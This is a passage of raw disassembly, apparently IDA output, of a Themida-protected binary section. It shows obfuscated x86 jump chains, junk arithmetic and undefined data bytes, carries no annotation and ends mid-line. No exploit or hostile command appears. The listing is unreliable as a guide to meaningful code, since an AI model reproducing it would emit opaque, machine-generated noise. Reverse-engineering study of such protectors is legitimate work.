--------------------------------------------------------------------------- db 55h dd 7EABBA52h, 0D5897299h, 0E9E8095Ah, 0FFFFC025h, 0E9240489h dd 522h, 0CE30F130h, 0C9FEF130h, 30F1B252h, 0CA205AD1h dd 686659h, 24048000h, 241428F9h, 0D49BE9h db 0 ; --------------------------------------------------------------------------- loc_566B71: ; CODE XREF: Themida_:005679C1j mov [esp], edi jmp loc_56E916 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4B9240Ch, 81000000h, 8504246Ch, 0E96D251Ah dd 8353h, 0E958C189h, 17F1h, 5C24048Fh, 0AF35E9h db 0 ; --------------------------------------------------------------------------- loc_566BA5: ; CODE XREF: Themida_:0056F703j push ecx mov ecx, 411A527Ch jmp loc_56B4E5 ; --------------------------------------------------------------------------- dd 4B850h, 0C7010000h, 4C78358h, 3B0268h, 243C8900h, 42474FFh dd 0FFFBA1E9h, 4C481FFh, 0E9000000h, 0FFFF9AB5h ; --------------------------------------------------------------------------- loc_566BD8: ; CODE XREF: Themida_:00571265j sub edx, 38290EA0h add edx, edi add edx, 38290EA0h xor [edx], ecx push dword ptr [esp] pop edx push edi jmp loc_568F03 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0B872E952h, 0C4810000h, 4, 1DDE9h, 51FA0100h, 0FFACE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_566C11: ; CODE XREF: Themida_:0056900Bj add esp, 4 add bl, 4Ah jmp loc_572A65 ; --------------------------------------------------------------------------- dd 4240481h, 8B000000h, 0C4812434h, 4, 4EC81h, 0C890000h dd 95F8E924h, 0D6B1FFFFh, 8812F180h, 240C8BC8h, 4C481h dd 0C1280000h, 59CA8858h, 80C2E9h db 0 ; --------------------------------------------------------------------------- loc_566C55: ; CODE XREF: Themida_:005725D1j add esp, 4 push edx push esp mov edx, [esp] add esp, 4 jmp loc_564D26 ; --------------------------------------------------------------------------- loc_566C6B: ; CODE XREF: Themida_:0056C897j pop ecx shl edx, 4 or edx, 6F1E5F53h push 55F7h mov [esp], ecx push ebp jmp loc_5658B0 ; --------------------------------------------------------------------------- db 53h dd 0AF1D22BBh, 0A0F3812Eh, 813A0701h, 7E5893CBh, 0C3C38162h dd 299F7BCFh, 26E3E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_566CA2: ; CODE XREF: Themida_:00566CFDj push 41A7h jmp loc_56F790 ; --------------------------------------------------------------------------- dd 4245C01h, 0FFC4E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_566CB5: ; CODE XREF: Themida_:0056B1D7j add esi, 4 push ebp push 56B5h mov [esp], ecx jmp loc_56AD2E ; --------------------------------------------------------------------------- loc_566CC9: ; CODE XREF: Themida_:0056974Bj push 17D1h mov [esp], ebx jmp loc_56D7C5 ; --------------------------------------------------------------------------- dw 5052h dd 14131D68h, 1D43E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566CE2: ; CODE XREF: Themida_:00574F06j add ebx, 4 jmp loc_560457 ; --------------------------------------------------------------------------- loc_566CED: ; CODE XREF: Themida_:005668EFj push 2409h mov [esp], edx mov edx, 67A42300h add ebx, edx pop edx jmp loc_566CA2 ; --------------------------------------------------------------------------- dw 4B9h dd 1000000h, 67F5E9CFh, 0EA810000h, 6C3E1462h, 5AE9D189h dd 10000AFh, 6522E9C2h, 2C8B0000h, 52FEE924h, 8B660000h dd 0E9532404h, 60FFh ; --------------------------------------------------------------------------- loc_566D34: ; CODE XREF: Themida_:00563F83j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_569C42 ; --------------------------------------------------------------------------- dw 0CC68h dd 0E9000031h, 3732h, 0EB81DBF7h, 20804204h, 815BDA01h dd 19BB1DEAh, 0E9D789B5h, 0A774h, 51E9CB01h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566D73: ; CODE XREF: Themida_:0056D00Dj add edi, 404A0B2Ah jmp loc_5612AD ; --------------------------------------------------------------------------- loc_566D7E: ; CODE XREF: Themida_:005746F7j push dword ptr [edi+24h] push 5FF8h mov [esp], ebp push edi push ebp push 5FA2h mov [esp], esp add dword ptr [esp], 4 jmp loc_56AE6B ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 124248Bh, 2434FFF3h dd 4C4815Eh, 83000000h, 0E2E902C3h, 53000097h, 6B61E9h dd 242C8B00h, 4C481h, 79E90000h, 0BB0000B2h, 28E3DD30h dd 9EC1E953h, 3F040000h, 8091B151h, 0F1802AE9h, 0B75366F6h dd 66F930B2h, 9D61E95Bh, 0EC830000h, 5E7CE904h, 3C330000h dd 243C3124h, 5C243C33h, 9C240CD2h, 0FF9186E9h, 8DE958FFh db 0CAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566E1F: ; CODE XREF: Themida_:00561A2Ej mov al, 59h xor al, dl jmp loc_571CF1 ; --------------------------------------------------------------------------- dd 7C1F3EBDh, 9D95E928h, 0C188FFFFh, 53D70458h, 0C380ACB3h dd 5BD800F9h, 0C828A52Ch, 0A52CA504h, 0C8BD72Ch, 0E0895024h dd 405h, 40500h, 4870000h, 24248B24h, 0FFA66CE9h db 0FFh ; --------------------------------------------------------------------------- loc_566E65: ; CODE XREF: Themida_:005660BCj pop esp shl edx, 7 push ecx jmp loc_573801 ; --------------------------------------------------------------------------- db 0BBh dd 71DB0137h, 1C8BDF29h, 0E9545724h, 0FFFF9EDBh, 55E468h dd 0BA20E900h, 0EB810000h, 164A25C9h, 958C381h, 0D801CCEAh dd 81241C8Bh, 4C4h, 433D6800h, 1C890000h, 3AA2BB24h, 0BF5704D4h dd 590642AEh, 51E9FB21h, 56000038h, 4BEh, 5EF02900h, 99F8E9h dd 72DF2D00h, 0BE565B4Eh, 105D1C48h, 726EA705h, 2DF02958h dd 58726EA7h, 0CAC2D5Eh, 432D4A12h, 0E915D921h, 0FFFFADE4h dd 0E9241C87h, 0DE8Ah ; --------------------------------------------------------------------------- loc_566EF8: ; CODE XREF: Themida_:005737D0j pop eax jmp loc_565616 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8D35E9h db 0 ; --------------------------------------------------------------------------- loc_566F09: ; CODE XREF: Themida_:00560039j pop edi jmp loc_56C295 ; --------------------------------------------------------------------------- db 0C1h dd 0E5C106EDh, 81D5F708h, 792C9DE5h, 0A8F58108h, 0E932E204h dd 0D9C5h, 8324148Bh, 0C68104C4h, 64EF2F4Dh, 5B2434FFh dd 5E08950h, 4, 405h, 0ACD4E900h, 0C5810000h, 28AF4588h dd 0DDA5E9h, 4EC8100h, 89000000h, 4832424h, 0CE90424h dd 5600002Dh, 4F7A32BEh, 5EF3894Dh, 7836EB81h, 0D929493Eh dd 0FF946EE9h, 240433FFh, 8F24248Bh, 248B2404h, 0A3EEE924h dd 8951FFFFh, 0D54BE9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F96: ; CODE XREF: Themida_:00565F27j sub ecx, eax jmp loc_56F893 ; --------------------------------------------------------------------------- db 0F3h, 0A5h, 3 aB8hhu db 'b8hhU',0 dw 8900h dd 5268241Ch, 8B3C0E42h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_566823 ; --------------------------------------------------------------------------- dw 8359h dd 0D6F7FFC6h, 1B951h, 8CE90000h, 810000C7h, 4C7h, 0B9515200h dd 1313340Fh, 0FFC2B2E9h, 24048FFFh, 8924248Bh, 0BE56240Ch dd 7559571Dh, 0E903E6C1h, 0FFFFB784h, 8B241C87h, 0E9E92424h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56700B: ; CODE XREF: Themida_:00571BC1j mov ecx, 7B22424Dh not ecx neg ecx jmp loc_561773 ; --------------------------------------------------------------------------- loc_567019: ; CODE XREF: Themida_:00574CF5j xor esi, 762E00FEh xor edi, esi jmp loc_564EC6 ; --------------------------------------------------------------------------- dw 0BF57h dd 37F553EEh, 5EA8F781h, 0D9E954EAh, 2D0000E0h, 4BDF5B20h dd 2005F001h, 5E4BDF5Bh, 97EBE9h db 0 ; --------------------------------------------------------------------------- loc_567049: ; CODE XREF: Themida_:005736F5j push ebp mov ebp, esp push edx mov edx, 4 jmp loc_562D29 ; --------------------------------------------------------------------------- loc_567057: ; CODE XREF: Themida_:0056554Fj pop esi xor esi, ecx mov ecx, [esp] add esp, 4 jmp loc_57412F ; --------------------------------------------------------------------------- aRithux db 'R‰âhUX',0 dd 2FFEE900h, 2C810000h, 2F4F0324h, 53685A1Dh, 89000069h dd 4768242Ch, 89000038h, 69682434h, 8B26923Ch, 0C4832434h dd 6ABD5504h, 0E93BBD73h, 607Ch, 4D437205h, 242C8B4Fh dd 4C481h, 4050000h, 0E9000000h, 0BD37h ; --------------------------------------------------------------------------- loc_5670B8: ; CODE XREF: Themida_:00569E57j shl edx, 1 push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] pop ecx sub ecx, 0FFFFFFFFh xor [edi+24h], ecx jmp loc_571C0A ; --------------------------------------------------------------------------- loc_5670CD: ; CODE XREF: Themida_:00565CF9j push dword ptr [esp] pop edx push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push ebp mov ebp, 1B141451h and ebp, 182D3CF4h jmp loc_56CCDB ; --------------------------------------------------------------------------- loc_5670EE: ; CODE XREF: Themida_:0056B6E8j xor edi, esi mov esi, [esp] jmp loc_56DAF0 ; --------------------------------------------------------------------------- dd 55240489h, 242C8B58h, 0BC03E9h, 4C48300h, 4C281h, 0EA810000h dd 4, 0E9241487h, 5C66h, 5024248Bh, 2F536857h, 815F331Ah dd 3A2AACCFh, 42C2687Dh, 34890000h, 0AAC2E924h, 1F68FFFFh dd 8900007Bh, 38E9242Ch db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567147: ; CODE XREF: Themida_:0057413Dj and eax, esi mov esi, [esp] push eax jmp loc_563888 ; --------------------------------------------------------------------------- loc_567152: ; CODE XREF: Themida_:0056FB5Bj sub edi, 5BBF0CCCh sub edi, 43005ECFh pop ebp sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56C7EB ; --------------------------------------------------------------------------- loc_567173: ; CODE XREF: Themida_:005722B6j mov ecx, 796617CCh or eax, ecx pop ecx neg eax or eax, 71A264E5h sub eax, 35E46C72h xor eax, 0D15246F9h and esi, eax pop eax shl esi, 2 sub esi, 0F6BBF53Dh jmp loc_56554D ; --------------------------------------------------------------------------- db 0B8h, 2, 0 dd 0C1010000h, 8324048Bh, 0C3304C4h, 0E781E924h, 20BBFFFFh dd 0E90EA82Fh, 0FFFFBA63h, 0B9240C89h, 40144F2Ch, 554BBF57h dd 0E9570A95h, 27CCh, 6307ED81h, 1E93534h, 5B000020h, 0FFFBECE9h db 0FFh byte_5671E1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FE90o dd 4EC8324h, 68243C89h, 7914h, 0E9242489h, 0FFFFB326h dd 0B5E9E789h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5671FF: ; CODE XREF: Themida_:0056EF54j mov cl, ah mov eax, [esp] jmp loc_56BB08 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 68h dd 0ECAh, 53242C89h, 650175BBh, 73F3810Fh, 5210963Dh, 0F5094BAh dd 81424248h, 92F4A6C2h, 0E9D33108h, 901Ch ; --------------------------------------------------------------------------- loc_567234: ; CODE XREF: Themida_:005747F5j shr ecx, 6 push eax mov eax, 71C90975h and eax, 32D541A4h sub eax, 4CE449Ch jmp loc_572287 ; --------------------------------------------------------------------------- dd 83242C8Bh, 0E95504C4h, 128Bh, 271D68h, 242C8900h, 468h dd 722D5D00h, 14F4D43h, 0FE2EE9E8h, 3489FFFFh, 0E9E68924h dd 0FFFFF31Ah, 0E9242C87h, 0FFFFD13Bh ; --------------------------------------------------------------------------- loc_567284: ; CODE XREF: Themida_:0056E993j pop edx pop edx push edi mov edi, 0DA27F7Eh sub edx, edi pop edi jmp loc_560F8D ; --------------------------------------------------------------------------- loc_567294: ; CODE XREF: Themida_:005617DBj and eax, edx pop edx or edx, eax jmp loc_563231 ; --------------------------------------------------------------------------- aI4Se4 db '‰4$éE4',0 align 2 dw 0E958h dd 160Dh, 4C481h, 43E90000h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5672B7: ; CODE XREF: Themida_:005601E1j add esp, 4 sub edi, esi jmp loc_5654BE ; --------------------------------------------------------------------------- aISB db '‰Ø[é(b',0 dd 0EC835D00h, 24348904h, 3B9438BEh, 5EF53117h, 3F9B68h dd 241C8900h, 0FFAEABE9h, 0E9F766FFh, 4EC81h, 1C890000h dd 81E38924h, 4C3h, 4BE5600h, 0E9000000h, 2EE3h, 265C09BBh dd 0E9D9011Fh, 0D9F6h ; --------------------------------------------------------------------------- loc_567310: ; CODE XREF: Themida_:00568AF3j push ecx mov ecx, esp jmp loc_568F21 ; --------------------------------------------------------------------------- aSS_3 db '[éÑá',0 align 2 loc_56731E: ; CODE XREF: Themida_:0056EE5Aj add esi, 4 xchg esi, [esp] pop esp push edi jmp loc_568E2D ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 7C40BE56h, 0C68170BBh, 8F4483C4h, 348BF301h dd 4C48124h, 56000000h, 4BD55h, 0EE890000h, 0E9F3015Dh dd 0FFFF9E84h, 0C280EA28h, 0D12059F6h, 86F1865Ah, 86D5F6EEh dd 0F7E2E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56736E: ; CODE XREF: Themida_:0056C224j add esi, edx add esi, 3DBF2D46h jmp loc_5623BB ; --------------------------------------------------------------------------- loc_56737B: ; CODE XREF: Themida_:005694E5j mov eax, [esp] add esp, 4 pop small word ptr [eax] jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_56738C: ; CODE XREF: Themida_:00560520j mov cl, 28h sub esp, 4 mov [esp], edx mov dl, 0C7h sub dl, 6Dh jmp loc_562FBB ; --------------------------------------------------------------------------- loc_56739E: ; CODE XREF: Themida_:0056F84Cj push 382Bh mov [esp], ecx jmp loc_570971 ; --------------------------------------------------------------------------- db 0C1h dd 0A7E904E0h, 80000006h, 5166BAC7h, 0D5F6FD88h, 10E9EF88h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673C3: ; CODE XREF: Themida_:00575021j push ebx jmp loc_56669E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56CB4C ; --------------------------------------------------------------------------- db 68h, 40h, 25h dd 14890000h, 0CEB95124h, 816FF40Ch, 0C56A98E1h, 7E9C106h dd 37E9D9F7h, 35000067h, 0DA4EE496h, 81585D50h, 9424EFEEh dd 65C6813Bh, 2966CE33h, 65EE81EEh, 5266CE33h, 9424EFBAh dd 5AD6013Bh, 9D78E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567426: ; CODE XREF: Themida_:0057072Dj add esp, 4 mov eax, [esp] push edx jmp loc_56D9FC ; --------------------------------------------------------------------------- db 50h, 0B8h, 0ADh dd 29105D57h, 45F1E9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567442: ; CODE XREF: Themida_:0056BFB9j xchg ebp, [esp] pop esp push esi mov esi, 10ED59D9h or esi, 29932AAh shl esi, 3 jmp loc_572DA4 ; --------------------------------------------------------------------------- dw 348Bh dd 0E0895024h, 405h, 4BA5200h, 1000000h, 0FF505AD0h, 58042474h dd 0E924048Fh, 0CA31h, 592434FFh db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5657E4 ; --------------------------------------------------------------------------- word_56749A dw 8B66h ; DATA XREF: Themida_:0055FED4o dd 0EC812404h, 4, 89240489h, 8EE957E0h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5674AF: ; CODE XREF: Themida_:00567CBFj mov [esp], ebx add dword ptr [esp], 5DB21066h pop ebp sub ebp, 5DB21066h push ebp xor dword ptr [esp], 47252180h jmp loc_571C39 ; --------------------------------------------------------------------------- loc_5674CD: ; CODE XREF: Themida_:0056514Aj mov [esp], esi push ebx jmp loc_56B2FA ; --------------------------------------------------------------------------- dw 0F281h dd 30C9932Ch, 495AD189h, 636DE981h, 0F18170B1h, 0C07C29F7h dd 7286E9h, 4E95B00h, 0B5000094h, 585DE96Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5674FE: ; CODE XREF: Themida_:00561D7Aj mov [esp], ebx push ecx push ebx mov ebx, 30164DF5h mov ecx, ebx pop ebx jmp loc_56F0B9 ; --------------------------------------------------------------------------- loc_567510: ; CODE XREF: Themida_:0056F4D9j pop edi xor edx, [esp] xor [esp], edx jmp loc_56B0C6 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 4EF81h, 3C870000h, 24248B24h, 0FF243C89h dd 0FF042474h, 815F2434h, 4C4h, 24048F00h, 0E924248Bh dd 1D24h ; --------------------------------------------------------------------------- loc_56754C: ; CODE XREF: Themida_:0056B2D5j mov cl, 76h jmp loc_574E4D ; --------------------------------------------------------------------------- db 5Eh dd 42Dh, 24048700h, 8924248Bh, 0FF54240Ch, 0C8B2434h, 0E6895624h dd 4C681h, 3FE90000h, 89000055h, 0B8BA2414h, 0E90E5C0Eh dd 0FFFFAE63h ; --------------------------------------------------------------------------- loc_567584: ; CODE XREF: Themida_:0056C8FDj pop ecx not esi inc esi add esi, 36AD43A8h add ecx, esi pop esi push esi push ebx jmp loc_563238 ; --------------------------------------------------------------------------- dd 835DEB01h, 1C8904ECh, 2474FF24h, 48F5B04h, 7685C24h dd 89000043h, 6851243Ch, 11086C2Fh, 83240C8Bh, 348904ECh dd 0CB31E924h, 5752FFFFh, 0AA7B7F68h, 0C7815F42h, 2F087DC3h dd 8147D7F7h, 0AB5905F7h, 0CA96E987h, 158FFFFh, 8B04245Ch dd 37E9241Ch db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5675EF: ; CODE XREF: Themida_:005734B4j add esp, 4 push edx jmp loc_56DE58 ; --------------------------------------------------------------------------- db 68h dd 6E3802A3h, 0BB534858h, 124C21FCh, 130DE9h, 24BA5200h dd 561E3D69h, 6F8BE9h, 23ECBD00h, 814D0E71h, 0FE43ABE5h dd 8EFBE97Eh, 565AFFFFh, 468h, 0B57AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567636: ; CODE XREF: Themida_:005734F6j shl ebp, 2 push edx mov edx, 5430DECh sub ebp, edx jmp loc_5691AB ; --------------------------------------------------------------------------- dw 39BFh dd 8140DF3Dh, 0C97F5BCFh, 5E7C150h, 0E7C1EFD1h, 0EF0DE906h dd 4BAFFFFh, 5000000h, 1C1834E6h, 0E62DD001h, 5A1C1834h dd 5C240487h, 5E1268h, 24048900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_56A00F ; --------------------------------------------------------------------------- loc_56768A: ; CODE XREF: Themida_:0057066Bj pop esi sub ebx, eax jmp loc_569099 ; --------------------------------------------------------------------------- loc_567692: ; CODE XREF: Themida_:005750FEj add ebp, edi sub ebp, 276D3581h pop edi mov ecx, ebp pop ebp sub eax, ecx jmp loc_5704CA ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FF9F6BE9h, 0E9FA01FFh, 4F3h, 8E2045B9h, 8FEA8172h dd 29342D23h, 8FC281CAh, 0FF342D23h, 83592434h, 0C28104C4h dd 0CF9E9B08h, 2BEAE9h, 5DEF8900h, 9B3FE957h, 68580000h dd 3DE9h, 52243C89h, 0F679DD68h, 0DAF75A78h, 1D0EC281h dd 91E9571Ch, 83FFFFDBh, 0B65202C4h, 1C680F8h, 0E99EEE80h dd 1C8Ah, 8104C483h, 8C042444h, 5A6A9970h, 0E924048Bh dd 8539h ; --------------------------------------------------------------------------- loc_567724: ; CODE XREF: Themida_:00560A04j sub esi, 5E357C1Eh sub esp, 4 mov [esp], edx push esi mov edx, [esp] push ebx mov ebx, esp jmp loc_573FEC ; --------------------------------------------------------------------------- align 10h dd 0CEC6E9E8h, 2C8BFFFFh, 4C48324h, 4EC8153h, 0E9000000h dd 0FFFFF276h, 4C281h, 52560000h, 506F58BAh, 65EAE936h dd 0C890000h, 56E18924h, 5807E3BEh, 5E6C119h, 6928E9h db 0 ; --------------------------------------------------------------------------- loc_56777D: ; CODE XREF: Themida_:00562B92j pop ebp pop dword ptr [esp] jmp loc_5700E2 ; --------------------------------------------------------------------------- dw 0D131h dd 8BC8295Ah, 0C481240Ch, 4, 7E03822Dh, 5F02943h, 437E0382h dd 0DBBBE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5677A6: ; CODE XREF: Themida_:0056D642j pop edi jmp loc_56229B ; --------------------------------------------------------------------------- dd 6FEBA52h, 0F1E95689h, 0C1FFFFBCh, 0E95005E3h, 0BDE0h dd 5F5FF801h, 537A5C2Dh, 2FA36824h, 2C890000h, 48E7BD24h dd 0E5811DFCh, 25A56EE6h, 7992C581h, 0FBE90BEDh, 8300000Dh dd 0F00004C4h, 24148B66h, 2C481h, 0EC810000h, 4, 0B1240C89h dd 8AB5E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567806: ; CODE XREF: Themida_:0056DC10j add esi, 3FBA17CAh push eax jmp loc_5722B0 ; --------------------------------------------------------------------------- dw 0C483h dd 0C7CF8104h, 8135323Fh, 737FCBF7h, 14C38135h, 16BE700h dd 5832E9FBh, 0D3F70000h, 0E9D3F743h, 0FFFFB476h ; --------------------------------------------------------------------------- loc_567838: ; CODE XREF: Themida_:00572664j not dh and dh, 0AAh sub dh, 0FAh sub ch, dh pop edx pop eax push dx jmp loc_572BB8 ; --------------------------------------------------------------------------- db 83h dd 1C8704C3h, 97E9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567856: ; CODE XREF: Themida_:00564AAEj xor esi, edx pop edx jmp loc_567B75 ; --------------------------------------------------------------------------- aZSeo db '‡<$é¥O',0 align 2 word_567866 dw 34FFh ; DATA XREF: Themida_:0055FE9Co aXs db '$X鳚',0 db 0 ; --------------------------------------------------------------------------- loc_56786F: ; CODE XREF: Themida_:005622AAj add esi, 4 xchg esi, [esp] pop esp jmp loc_56F156 ; --------------------------------------------------------------------------- dw 9166h dd 55669366h, 3226866h, 85D2E9h db 0 ; --------------------------------------------------------------------------- loc_56788D: ; CODE XREF: Themida_:005656BEj mov ebp, 2B3777Ah or esi, ebp jmp loc_560F4A ; --------------------------------------------------------------------------- db 81h, 2 dup(0C3h) dd 0E959517Fh, 0AEFBh, 0BA52515Dh, 4, 15AD189h, 895059CDh dd 577E9E0h, 0B5B80000h, 93220833h, 0C193D3F7h, 40E907E0h dd 83FFFFC5h, 0C8904ECh, 8038B524h, 0D5F6FFC5h, 7968C5FEh dd 8900006Ch, 0EF88241Ch, 0F8885066h, 0CA68D0F6h, 0E9000069h dd 301Fh ; --------------------------------------------------------------------------- loc_5678F4: ; CODE XREF: Themida_:005737E6j pop esp shr eax, 0Ah xor eax, ecx push eax push esp pop eax push 594Bh mov [esp], edi jmp loc_5713DE ; --------------------------------------------------------------------------- dw 1C89h dd 4BF5724h, 89000000h, 581EE9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56791A: ; CODE XREF: Themida_:00560CECj or edx, ebp pop ebp dec edx inc edx jmp loc_56EBBE ; --------------------------------------------------------------------------- dd 3732E681h, 0B9512AAFh, 0F2664EBh, 349168h, 243C8900h dd 71FD6850h, 48586FD3h, 4750E635h, 5E0C12Ah, 8B67D635h dd 0DD87E9FAh, 4D4DFFFFh, 553AF581h, 0D055F30h, 2D2F911Ch dd 292A3717h, 431E68h, 241C8900h, 0EB796168h, 0D8295B78h dd 0AB9515Bh, 0C13EAA11h, 0C98103E1h, 68CF3252h, 16A7C181h dd 3BE91B44h db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56798F: ; CODE XREF: Themida_:0056AD96j push edx jmp loc_56177A ; --------------------------------------------------------------------------- loc_567995: ; CODE XREF: Themida_:00570E53j push dword ptr [esp] pop edx push edi jmp loc_5746E1 ; --------------------------------------------------------------------------- db 2Dh dd 0E397C8Bh, 0BECA0F2Dh, 8BC2293Fh, 53E92404h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5679B3: ; CODE XREF: Themida_:0056ECAEj mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_566B71 ; --------------------------------------------------------------------------- dw 1C89h aRTAIsN db '$R²’·À€Ç©éÎ',0 align 2 dw 0C481h dd 4, 0DC0C1E2Dh, 0E9D80157h, 81Eh ; --------------------------------------------------------------------------- loc_5679E8: ; CODE XREF: Themida_:0057475Aj shr edx, 4 jmp loc_561FF0 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF96BCh, 0E1E9C801h, 4B00003Bh, 0F2BA5243h dd 56718D10h, 33E95052h, 29FFFF8Dh, 0E9082454h, 6991h ; --------------------------------------------------------------------------- loc_567A18: ; CODE XREF: Themida_:0056828Dj mov [esp], edx mov edx, 7F95C501h xor ebx, edx jmp loc_572023 ; --------------------------------------------------------------------------- db 53h dd 68h, 8EE95B00h, 81FFFFC3h, 4C5h, 2C58300h, 31242C33h dd 2C33242Ch, 24248B24h, 0C8AF0F66h, 0E99C5166h, 0FFFF854Bh ; --------------------------------------------------------------------------- loc_567A54: ; CODE XREF: Themida_:0056EC7Bj pop eax jmp loc_561B33 ; --------------------------------------------------------------------------- dw 0F796h dd 0D0F796D6h, 0BA18235h, 0EC83555Dh, 24048904h, 81242C8Bh dd 4C4h, 8BEE8900h, 3FE9242Ch db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_567A7F: ; CODE XREF: Themida_:005729C5j dec ebp add ebp, 39277D7h jmp loc_56A69D ; --------------------------------------------------------------------------- loc_567A8B: ; CODE XREF: Themida_:0056AF3Aj pop ebx xor esi, 0CF6D5438h mov ecx, esi pop esi push ebp push 4B5E6DD2h pop ebp and ebp, 56916F1Eh sub ebp, 5684408Bh jmp loc_573CAF ; --------------------------------------------------------------------------- loc_567AAD: ; CODE XREF: Themida_:00566AD0j sub al, 37h sub al, 0D8h push ecx mov ch, 95h jmp loc_56E513 ; --------------------------------------------------------------------------- db 52h, 68h, 0CFh dd 5A56626Dh, 3A01CA81h, 0EA81495Bh, 443C7C9Ch, 0E95AD689h dd 0FFFFA9AAh, 7D659735h, 29C7815Bh, 13F5329h, 29EF81C7h dd 0FF3F5329h, 48B2434h, 4C48124h, 83000000h, 0BE904C4h dd 89FFFFF3h, 68532414h, 46EB3F1Eh, 83241C8Bh, 0EBC104C4h dd 0E9DBF705h, 939Ah, 0A529E951h, 3C33FFFFh, 0EC835C24h dd 241C8904h, 972BE9h db 0 ; --------------------------------------------------------------------------- loc_567B29: ; CODE XREF: Themida_:0056D20Ej push ebx jmp loc_56E44D ; --------------------------------------------------------------------------- db 89h dd 0FE315DEFh, 5EF1215Fh, 5E4FE181h, 0E9814ACCh, 0FCF1A761h dd 4AC7C381h, 0CB0176A6h, 4AC7EB81h, 815976A6h, 0B14E00C3h dd 51C3292Dh, 0BC439AB9h, 0BB53507Eh, 733541ACh, 0E95BD889h dd 0FFFFB5FAh, 0FF842AE9h db 0FFh ; --------------------------------------------------------------------------- loc_567B75: ; CODE XREF: Themida_:00567859j add ecx, esi pop esi push 7DA6h mov [esp], ebp mov ebp, 555B1FA0h add ebp, 30200055h and ebp, 10845C2Ah jmp loc_565818 ; --------------------------------------------------------------------------- dw 8851h dd 0EE8852D5h, 595AF388h, 0ACE95A66h, 8B000085h, 0C481243Ch dd 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_566A9E ; --------------------------------------------------------------------------- dw 3489h dd 0FF685324h, 5B6A4D10h, 0E5D5EB81h, 0DE893E55h, 57241C8Bh dd 92E9E789h, 50000B3h, 682F4722h, 0F2E3E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567BE6: ; CODE XREF: Themida_:005654FDj mov [esp], eax mov ebp, [esp] add esp, 4 pop eax xor ecx, ebp xor ebp, ecx xor ecx, ebp xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add esp, 4 push ebx push esp mov ebx, [esp] add esp, 4 push ebp jmp loc_57486F ; --------------------------------------------------------------------------- loc_567C36: ; CODE XREF: Themida_:005630C9j pop esi add eax, 4 xchg eax, [esp] pop esp jmp loc_568A79 ; --------------------------------------------------------------------------- loc_567C45: ; CODE XREF: Themida_:0056CE1Aj push esp pop ecx push edi mov edi, 4 sub ecx, 20F30807h jmp loc_563C27 ; --------------------------------------------------------------------------- dword_567C58 dd 240C8B66h, 4EC8350h, 24048F54h, 4240483h, 29BD5558h ; DATA XREF: Themida_:0055FEACo dd 0D158F570h, 0BA0EE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_567C76: ; CODE XREF: Themida_:0056B001j push eax push ebx mov ebx, 38E22D7Fh mov eax, ebx pop ebx sub eax, 38063BB8h not eax add eax, 409F774Fh jmp loc_5699BF ; --------------------------------------------------------------------------- loc_567C91: ; CODE XREF: Themida_:0056019Dj push ecx mov cl, 0F3h sub cl, 8Bh mov dl, cl jmp loc_570F8D ; --------------------------------------------------------------------------- dw 0EFC1h dd 81EFD105h, 70DAA6EFh, 5FFA8900h, 335AD501h, 26E9242Ch db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_567CB7: ; CODE XREF: Themida_:0056EA15j mov [esp], ebp push 6597h jmp loc_5674AF ; --------------------------------------------------------------------------- dword_567CC4 dd 